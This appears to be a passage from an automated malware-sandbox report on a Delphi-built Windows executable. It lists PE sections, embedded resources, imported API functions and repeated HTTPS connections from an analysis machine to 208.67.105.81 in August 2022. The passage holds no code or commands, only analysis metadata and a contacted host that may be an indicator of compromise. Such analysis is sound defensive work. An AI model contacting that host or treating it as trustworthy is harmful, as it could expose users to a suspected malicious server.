.tls	0xaa000	0x40	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xab000	0x18	0x200	False	0.05078125	data	0.2005819074398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xac000	0xc1ec	0xc200	False	0.5179606958762887	data	6.616954325025841	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb9000	0x43000	0x43000	False	0.5516047691231343	data	7.262575014709826	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AUDIOES	0xb9d88	0x3697c	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz	English	United States
RT_CURSOR	0xf0704	0x134	data
RT_CURSOR	0xf0838	0x134	data
RT_CURSOR	0xf096c	0x134	data
RT_CURSOR	0xf0aa0	0x134	data
RT_CURSOR	0xf0bd4	0x134	data
RT_CURSOR	0xf0d08	0x134	data
RT_CURSOR	0xf0e3c	0x134	data
RT_BITMAP	0xf0f70	0x1d0	data
RT_BITMAP	0xf1140	0x1e4	data
RT_BITMAP	0xf1324	0x1d0	data
RT_BITMAP	0xf14f4	0x1d0	data
RT_BITMAP	0xf16c4	0x1d0	data
RT_BITMAP	0xf1894	0x1d0	data
RT_BITMAP	0xf1a64	0x1d0	data
RT_BITMAP	0xf1c34	0x1d0	data
RT_BITMAP	0xf1e04	0x1d0	data
RT_BITMAP	0xf1fd4	0x1d0	data
RT_BITMAP	0xf21a4	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xf228c	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0xf4834	0x988	data
RT_ICON	0xf51bc	0x468	GLS_BINARY_LSB_FIRST
RT_DIALOG	0xf5624	0x52	data
RT_STRING	0xf5678	0x114	data
RT_STRING	0xf578c	0x3d0	data
RT_STRING	0xf5b5c	0x554	data
RT_STRING	0xf60b0	0x3cc	data
RT_STRING	0xf647c	0x1d4	data
RT_STRING	0xf6650	0x180	data
RT_STRING	0xf67d0	0x314	COM executable for DOS
RT_STRING	0xf6ae4	0x4f4	data
RT_STRING	0xf6fd8	0x1c0	data
RT_STRING	0xf7198	0xec	data
RT_STRING	0xf7284	0x134	data
RT_STRING	0xf73b8	0x314	data
RT_STRING	0xf76cc	0x40c	data
RT_STRING	0xf7ad8	0x380	data
RT_STRING	0xf7e58	0x3d4	data
RT_STRING	0xf822c	0x250	data
RT_STRING	0xf847c	0xec	data
RT_STRING	0xf8568	0x1dc	data
RT_STRING	0xf8744	0x3ec	data
RT_STRING	0xf8b30	0x3f4	data
RT_STRING	0xf8f24	0x30c	data
RT_STRING	0xf9230	0x328	data
RT_RCDATA	0xf9558	0x10	data
RT_RCDATA	0xf9568	0x370	data
RT_RCDATA	0xf98d8	0x16ad	Delphi compiled form 'TForm1'
RT_RCDATA	0xfaf88	0x2c3	Delphi compiled form 'TForm2'
RT_RCDATA	0xfb24c	0x39e	Delphi compiled form 'TForm3'
RT_RCDATA	0xfb5ec	0x2d0	Delphi compiled form 'TForm4'
RT_GROUP_CURSOR	0xfb8bc	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb8d0	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb8e4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb8f8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb90c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb920	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xfb934	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0xfb948	0x30	data
RT_VERSION	0xfb978	0x498	data	German	Germany

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProfileStringA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FlushInstructionCache, FindResourceA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, StartPage, StartDocA, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetAbortProc, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, EndPage, EndDoc, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateICA, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateDCA, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CombineRgn, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, ShowCaret, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetUpdateRect, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawStateA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CoTaskMemFree, ProgIDFromCLSID, StringFromCLSID, CoCreateInstance, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	GetErrorInfo, GetActiveObject, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
winspool.drv	OpenPrinterA, EnumPrintersA, DocumentPropertiesA, ClosePrinter
shell32.dll	ShellExecuteA
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA
winmm.dll	sndPlaySoundA
kernel32	VirtualProtect, GetProcAddress
URL	AddMIMEFileTypesPS

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2022 12:10:27.664222002 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:27.664259911 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:27.664347887 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:27.698299885 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:27.698340893 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:27.767555952 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:27.767760038 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.282234907 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.282279968 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.282612085 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.282723904 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.285423994 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.312993050 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.313083887 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.313414097 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.313426971 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.316231012 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.316271067 CEST	443	49738	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.316296101 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.316365004 CEST	49738	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.744796991 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.744879007 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.745002985 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.780292034 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.780314922 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.838876963 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.838969946 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.845472097 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.845498085 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.849828959 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.849849939 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.893598080 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.893680096 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.893716097 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.893748999 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.895889044 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.895941973 CEST	443	49739	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:28.895997047 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:28.896064997 CEST	49739	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.333664894 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.333718061 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.333811045 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.335076094 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.335097075 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.396907091 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.397332907 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.398082018 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.398096085 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.402986050 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.403003931 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.453963041 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.454068899 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.454097986 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.454127073 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.454157114 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.454363108 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.461920023 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.461951971 CEST	443	49741	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:29.461965084 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:29.462007999 CEST	49741	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.087635994 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.087687969 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.088911057 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.090018034 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.090034962 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.150890112 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.153515100 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.168245077 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.168292046 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.173702955 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.173739910 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.210469961 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.210539103 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.210602999 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.210623026 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.229291916 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.229368925 CEST	443	49744	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.229403019 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.230700970 CEST	49744	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.809607029 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.809642076 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.809729099 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.810214043 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.810223103 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.873605967 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.873707056 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.877444029 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.877464056 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.881510973 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.881530046 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.928128004 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.928210020 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.928260088 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.928307056 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.936168909 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.936203957 CEST	443	49748	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:30.936216116 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:30.936266899 CEST	49748	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.464025974 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.464075089 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.466517925 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.494693995 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.494724035 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.554265022 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.554349899 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.554874897 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.554883003 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.559782982 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.559798002 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.608738899 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.608848095 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.608860970 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.608911037 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.608911991 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.608958006 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.618868113 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.618904114 CEST	443	49754	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:31.618911982 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:31.618957996 CEST	49754	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.281207085 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.281261921 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.281363010 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.282208920 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.282226086 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.342616081 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.343185902 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.345465899 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.345488071 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.380037069 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.380058050 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.410357952 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.410443068 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.410480976 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.410618067 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.414056063 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.414093018 CEST	443	49757	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:32.414103985 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:32.415860891 CEST	49757	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.195868015 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.195910931 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.196022034 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.196643114 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.196655035 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.255589008 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.255698919 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.256247044 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.256258011 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.260993004 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.261014938 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.312299013 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.312393904 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.312411070 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.312490940 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.312504053 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.312577009 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.312597990 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.312658072 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.312747002 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.312764883 CEST	443	49760	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:33.312791109 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:33.312834978 CEST	49760	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.153846979 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.153901100 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.154045105 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.155220032 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.155242920 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.214663029 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.215008020 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.218012094 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.218033075 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.219624043 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.219638109 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.269241095 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.269355059 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.269362926 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.269512892 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.278450966 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.278472900 CEST	443	49764	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.278479099 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.279282093 CEST	49764	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.889736891 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.889790058 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.889877081 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.890701056 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.890741110 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.951028109 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.951564074 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.954721928 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.954746008 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:34.960685015 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:34.960715055 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.007054090 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.007169962 CEST	443	49767	208.67.105.81	192.168.2.6
Aug 5, 2022 12:10:35.007292032 CEST	49767	443	192.168.2.6	208.67.105.81
Aug 5, 2022 12:10:35.008498907 CEST	49767	443	192.168.2.6	208.67.105.81
